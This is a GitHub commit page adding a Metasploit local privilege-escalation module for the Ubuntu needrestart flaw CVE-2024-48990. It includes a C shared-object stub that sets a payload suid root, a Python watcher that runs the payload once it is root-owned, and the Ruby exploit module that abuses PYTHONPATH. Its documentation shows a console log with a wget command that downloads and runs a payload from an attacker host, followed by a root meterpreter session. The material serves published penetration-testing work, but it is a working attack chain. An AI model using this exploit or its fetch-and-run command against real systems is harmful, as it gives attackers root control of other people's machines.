Skip to content

Commit 5374c7b

Browse files
authored
Merge pull request rapid7#19676 from h00die/needrestart
Ubuntu needrestart LPE (CVE-2024-48990)
2 parents 351db34 + 437c9fc commit 5374c7b

File tree

4 files changed

+363
-0
lines changed

4 files changed

+363
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/*
2+
// system call
3+
#include <stdlib.h>
4+
// setuid, setgid
5+
#include <unistd.h>
6+
7+
static void a() __attribute__((constructor));
8+
9+
void a() {
10+
setuid(0);
11+
setgid(0);
12+
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
13+
system(shell);
14+
}
15+
*/
16+
17+
extern int setuid(int);
18+
extern int setgid(int);
19+
extern int system(const char *__s);
20+
21+
void a(void) __attribute__((constructor));
22+
23+
void __attribute__((constructor)) a() {
24+
setuid(0);
25+
setgid(0);
26+
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
27+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import os
2+
import time
3+
import pwd
4+
5+
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
6+
7+
while True:
8+
try:
9+
file_stat = os.stat('PAYLOAD_PATH')
10+
except FileNotFoundError:
11+
exit()
12+
username = pwd.getpwuid(file_stat.st_uid).pw_name
13+
#print(f"Payload owned by: {username}. Stats: {file_stat}")
14+
if (username == 'root'):
15+
os.system('PAYLOAD_PATH &')
16+
exit()
17+
time.sleep(1)
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
## Vulnerable Application
2+
3+
Local attackers can execute arbitrary code as root by
4+
tricking needrestart into running the Python interpreter with an
5+
attacker-controlled PYTHONPATH environment variable.
6+
7+
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
8+
9+
Exploitation against vulnerable needrestart versions on
10+
Debian 12 and Fedora 39 were unsuccessful
11+
however install and run instructions are listed below.
12+
13+
### Debian
14+
15+
Install: `apt-get install needrestart=3.6-4+deb12u1`
16+
17+
Binary location: `/usr/sbin/needrestart`
18+
19+
### Fedora 39
20+
21+
Install: `dnf install needrestart-3.6-9.fc39.noarch`
22+
23+
Binary location: `/usr/sbin/needrestart`
24+
25+
## Verification Steps
26+
27+
1. Install the application
28+
2. Start msfconsole
29+
3. Get an initial shell
30+
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
31+
5. Do: `set lhost <ip>`
32+
6. Do: `set lport <port>`
33+
7. Do: `set session <session>`
34+
8. Do: `run`
35+
9. You should get a root shell.
36+
37+
## Options
38+
39+
### ListenerTimeout
40+
41+
The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs.
42+
43+
## Scenarios
44+
45+
### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
46+
47+
Gain initial shell
48+
49+
```
50+
msf6 > use exploit/multi/script/web_delivery
51+
998
52+
run[*] Using configured payload python/meterpreter/reverse_tcp
53+
msf6 exploit(multi/script/web_delivery) > set target 7
54+
target => 7
55+
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
56+
payload => linux/x64/meterpreter/reverse_tcp
57+
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
58+
lhost => 1.1.1.1
59+
msf6 exploit(multi/script/web_delivery) > set lport 4998
60+
lport => 4998
61+
msf6 exploit(multi/script/web_delivery) > set srvport 8998
62+
srvport => 8998
63+
msf6 exploit(multi/script/web_delivery) > run
64+
[*] Exploit running as background job 0.
65+
[*] Exploit completed, but no session was created.
66+
msf6 exploit(multi/script/web_delivery) >
67+
[*] Started reverse TCP handler on 1.1.1.1:4998
68+
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
69+
[*] Server started.
70+
[*] Run the following command on the target machine:
71+
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
72+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
73+
[*] Sending stage (3045380 bytes) to 2.2.2.2
74+
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
75+
76+
msf6 exploit(multi/script/web_delivery) > sessions -i 1
77+
[*] Starting interaction with 1...
78+
79+
meterpreter > getuid
80+
Server username: h00die
81+
meterpreter > background
82+
[*] Backgrounding session 1...
83+
```
84+
85+
Priv Esc
86+
87+
```
88+
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
89+
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
90+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
91+
payload => linux/x64/meterpreter/reverse_tcp
92+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
93+
lhost => 1.1.1.1
94+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
95+
lport => 4977
96+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
97+
session => 1
98+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
99+
verbose => true
100+
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
101+
102+
[*] Started reverse TCP handler on 1.1.1.1:4977
103+
[*] Running automatic check ("set AutoCheck false" to disable)
104+
105+
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
106+
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
107+
[*] Uploading payload: /tmp/.1K8Hy2tOtq
108+
[*] Creating directory /tmp/importlib
109+
[*] /tmp/importlib created
110+
[*] Uploading c_stub: /tmp/importlib/__init__.so
111+
[*] Uploading py_script: /tmp/.FzzlJ
112+
[*] Launching exploit, and waiting for needrestart to run...
113+
```
114+
115+
On the remote Ubuntu box run `sudo needrestart`
116+
117+
```
118+
[*] Transmitting intermediate stager...(126 bytes)
119+
[*] Sending stage (3045380 bytes) to 2.2.2.2
120+
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
121+
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
122+
[*]
123+
[*] Traceback (most recent call last):
124+
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
125+
[*] exec(line)
126+
[*] File "<string>", line 1, in <module>
127+
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
128+
[*]
129+
[*] Remainder of file ignored
130+
[*] #########################
131+
[*]
132+
[*] Dont mind the error message above
133+
[*]
134+
[*] Waiting for needrestart to run...
135+
[*] Payload owned by: root
136+
[+] Deleted /tmp/.1K8Hy2tOtq
137+
[+] Deleted /tmp/.FzzlJ
138+
[+] Deleted /tmp/importlib
139+
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
140+
141+
meterpreter >
142+
meterpreter > getuid
143+
Server username: root
144+
```
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = GreatRanking
8+
9+
include Msf::Post::Linux::Priv
10+
include Msf::Post::Linux::System
11+
include Msf::Post::File
12+
include Msf::Exploit::EXE
13+
include Msf::Post::Linux::Kernel
14+
include Msf::Exploit::FileDropper
15+
include Msf::Post::Linux::Compile
16+
prepend Msf::Exploit::Remote::AutoCheck
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'Ubuntu needrestart Privilege Escalation',
23+
'Description' => %q{
24+
Local attackers can execute arbitrary code as root by
25+
tricking needrestart into running the Python interpreter with an
26+
attacker-controlled PYTHONPATH environment variable.
27+
28+
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
29+
Attempted exploitation against Debian 12, expliotation failed
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [
33+
'h00die', # msf module
34+
'makuga01', # PoC
35+
'qualys' # original advisory
36+
],
37+
'Platform' => [ 'linux' ],
38+
'Arch' => [ ARCH_X86, ARCH_X64 ],
39+
'Stance' => Msf::Exploit::Stance::Passive,
40+
'Passive' => true,
41+
'SessionTypes' => [ 'shell', 'meterpreter' ],
42+
'Targets' => [[ 'Auto', {} ]],
43+
'Privileged' => true,
44+
'References' => [
45+
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
46+
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
47+
[ 'CVE', '2024-48990']
48+
],
49+
'DisclosureDate' => '2024-11-19',
50+
'DefaultTarget' => 0,
51+
'Notes' => {
52+
'Stability' => [CRASH_SAFE],
53+
'Reliability' => [REPEATABLE_SESSION],
54+
'SideEffects' => [ARTIFACTS_ON_DISK]
55+
}
56+
)
57+
)
58+
register_advanced_options [
59+
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
60+
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs
61+
]
62+
end
63+
64+
def base_dir
65+
datastore['WritableDir'].to_s
66+
end
67+
68+
def check
69+
# fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f
70+
# debian https://security-tracker.debian.org/tracker/CVE-2024-48990
71+
fixed_versions = {
72+
'24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
73+
'24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
74+
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
75+
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
76+
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
77+
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
78+
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
79+
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
80+
# may be more versions, but this felt good enough
81+
'38' => Rex::Version.new('3.8-1'),
82+
'39' => Rex::Version.new('3.8-1'),
83+
'40' => Rex::Version.new('3.8-1'),
84+
'41' => Rex::Version.new('3.8-1')
85+
}
86+
info = get_sysinfo
87+
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]
88+
89+
if info[:distro] == 'ubuntu'
90+
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
91+
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
92+
elsif info[:distro] == 'debian'
93+
return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
94+
elsif info[:distro] == 'fedora'
95+
return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
96+
end
97+
98+
return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')
99+
100+
package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
101+
package = package.split(' ')[2]
102+
package = package.gsub('+', '.')
103+
# next line will need to be included if we want to support fedora
104+
# package = package.gsub('needrestart-', '') # fedora specific
105+
package = Rex::Version.new(package)
106+
return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil
107+
108+
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]
109+
110+
CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}")
111+
end
112+
113+
def exploit
114+
# Check if we're already root
115+
if !datastore['ForceExploit'] && is_root?
116+
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
117+
end
118+
119+
# Make sure we can write our exploit and payload to the local system
120+
unless writable? base_dir
121+
fail_with Failure::BadConfig, "#{base_dir} is not writable"
122+
end
123+
124+
# upload payload
125+
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
126+
upload_and_chmodx payload_path, generate_payload_exe
127+
vprint_status("Uploading payload: #{payload_path}")
128+
register_files_for_cleanup(payload_path)
129+
130+
# our c stub file does our chmod/chown/suid for the payload
131+
c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm'))
132+
c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)
133+
134+
case kernel_arch
135+
when ARCH_X86
136+
cpu = Metasm::Ia32.new
137+
when ARCH_X64
138+
cpu = Metasm::X86_64.new
139+
else
140+
fail_with Failure::NoTarget, 'Target is not compatible'
141+
end
142+
143+
begin
144+
c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib)
145+
c_stub_path = "#{base_dir}/importlib/__init__.so"
146+
rescue StandardError
147+
print_error "Metasm encoding failed: #{$ERROR_INFO}"
148+
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
149+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
150+
fail_with Failure::Unknown, 'Metasm encoding failed'
151+
end
152+
153+
mkdir "#{base_dir}/importlib"
154+
write_file(c_stub_path, c_stub)
155+
vprint_status("Uploading c_stub: #{c_stub_path}")
156+
register_files_for_cleanup(c_stub_path)
157+
register_dir_for_cleanup("#{base_dir}/importlib")
158+
159+
# the python script is needed for having the PYTHONPATH set and watches
160+
# for our payload to be modified, then run it
161+
py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
162+
py_script = py_script.gsub('PAYLOAD_PATH', payload_path)
163+
164+
py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
165+
write_file py_stub_path, py_script
166+
vprint_status("Uploading py_script: #{py_stub_path}")
167+
register_files_for_cleanup(py_stub_path)
168+
169+
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
170+
# output from the exploit being run, they can optionally see it
171+
print_status 'Launching exploit, and waiting for needrestart to run...'
172+
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout']
173+
output.each_line { |line| vprint_status line.chomp }
174+
end
175+
end

0 commit comments

Comments
 (0)